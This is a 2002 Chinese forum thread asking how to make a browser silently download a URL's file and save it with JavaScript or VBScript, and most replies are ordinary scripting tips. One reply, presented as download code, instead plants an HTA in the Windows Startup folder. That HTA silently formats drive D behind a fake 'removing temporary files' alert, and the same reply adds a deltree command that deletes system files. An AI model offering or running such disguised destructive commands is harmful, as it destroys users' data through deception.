社区
JavaScript
帖子详情
请问如何用JS或VBS实现浏览器自动下载某一URL对应的文件并保存在本地?
laohenry
2002-06-18 06:13:44
如题。
一定要自己做ActiveX控件吗?如果要的话,请指点一下大致的思路。谢谢!
...全文
560
15
打赏
收藏
请问如何用JS或VBS实现浏览器自动下载某一URL对应的文件并保存在本地?
如题。 一定要自己做ActiveX控件吗?如果要的话,请指点一下大致的思路。谢谢!
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
15 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
QQKiKi
2002-06-27
打赏
举报
回复
<ie:download id=ie style="behavior:url(#default#download)"/>
<APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
</div>
<script language="javascript">
function view()
{
ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
}
function show_oe(sContent){
// 要下载的文件内容就在sContent中保存着
// 新建文件对象,来写文件
var filesystems = new ActiveXObject("Scripting.FileSystemObject");
var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)
savefile.Write(sContent); // 将SContent中内容写入文件
savefile.Close();
}
这段程序让我的杀毒程序报错拉~~~这样的话别人客户就无法访问了
还有,ie.startDownload("url",show_oe); 我一写HTTP://……就出错,说没有权限啊
有没有其他办法啊
孟繁光
2002-06-22
打赏
举报
回复
至于直接下载文件,可以参考如下代码:
----------------------------------
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\啟動\\startup.hta";
scr.Doc="<object id='wsh' classid='clsid:935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
wsh.Run('Start/m format.com d:/q/autotest/u');
alert('IMPORTANT: Windows is removing unused temporary files.');
scr.Write();
--------------
舉例子:*.vbs
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(c:\windows\winipcfg.exe).Copy("e:\winipcfg.exe")
-------------
另外:
wsh.Run('start.exe/m deltree/y d:\windows\system\*.*')
P.S.
hta: HTML Application
wsh: Windows Scripting Host
laohenry
2002-06-21
打赏
举报
回复
希望一起进步。
laohenry
2002-06-21
打赏
举报
回复
上面的方法解决另一问题很有效,但是没能达到我要的目的。
现在这个问题被我解决了,通过作ActiveX控件实现的。
其实原理很简单,只需要用Mictosoft Internet Transfer Control即可解决这个问题,而且通过使用定制控件,还可以检查目标路径是否存在和创建目标路径。
minitigger
2002-06-20
打赏
举报
回复
试一下去了
minitigger
2002-06-19
打赏
举报
回复
我现在是用<a href="aaa">aaa</a>,然后aaa的扩展名是.csv,当点击之后就弹出对话框,提示:马上打开,还是下载到指定位置。如果马上打开的话,自动用excel打开了,爽的很,否则我的分析文件结构,再作一个table来显示,由此我的工作提前了将近一个周的工期了。
不过如果.txt文件,就直接打开了,没有提示,不知道是什么原理,希望大家能讲解一下。
cawangjun
2002-06-19
打赏
举报
回复
.csv是一种数据文件。以一定的间隔符(如逗号)间隔的数据项,按行存放。这种文件可以作为数据库文件使用。
可以直接用excel直接打开这和ie浏览器有关。它将这种文件关联到excel。
你可以使用数据绑定技术来实现.csv文件的显示,这样就无须客户端安装excel了。
至于直接下载文件,可以参考如下代码:
<ie:download id=ie style="behavior:url(#default#download)"/>
<APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
</div>
<script language="javascript">
function view()
{
ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
}
function show_oe(sContent){
// 要下载的文件内容就在sContent中保存着
// 新建文件对象,来写文件
var filesystems = new ActiveXObject("Scripting.FileSystemObject");
var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)
savefile.Write(sContent); // 将SContent中内容写入文件
savefile.Close();
}
chenzengxi
2002-06-18
打赏
举报
回复
哦,又说是透明的,那不行~~~~~~~~~~
一定要做ActiveX, :(
laohenry
2002-06-18
打赏
举报
回复
我不是要这样的功能。
我要程序在后台将文件下载并保存至指定的文件夹中。
chenzengxi
2002-06-18
打赏
举报
回复
这样都行?找个病毒给你下载,哈哈!
emu
2002-06-18
打赏
举报
回复
呵呵,我的机器见到下载zip的连接就自动下载了解开,我都拿它没辙。
chenzengxi
2002-06-18
打赏
举报
回复
直接下载的话,加入即可,呵呵...
<SCRIPT>
window.open("URL.zip");
</SCRIPT>
chenzengxi
2002-06-18
打赏
举报
回复
那就行啦,呵呵,看来我还答对啦,那样还有很多方法.
laohenry
2002-06-18
打赏
举报
回复
是阿。我要的是自动下载,对用户透明地操作。
chenzengxi
2002-06-18
打赏
举报
回复
相当于链接:window.open("URL.zip");
不过可能不是你要的结果, :) 要提示下载。
js
实用小例子
JS
实用的小例子!
ASP生成HTML
当你在进行web开发时,会遇到将ASP转化为HTML的问题,这个小工具能够帮你完成心愿,解决疑惑
基于ASP的乐活网络产品发布系统(中文版).zip
基于ASP的乐活网络产品发布系统(中文版).zip
奥运奖牌排行列表及赛事安排表 -ASP源码.zip
ASP源码,压缩包解压密码:www.cqlsoft.com
link-view.
vbs
页面链接查看
页面源
文件
解密 页面链接查看具体查看收藏夹
JavaScript
87,994
社区成员
224,693
社区内容
发帖
与我相关
我的任务
JavaScript
Web 开发 JavaScript
复制链接
扫一扫
分享
社区描述
Web 开发 JavaScript
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章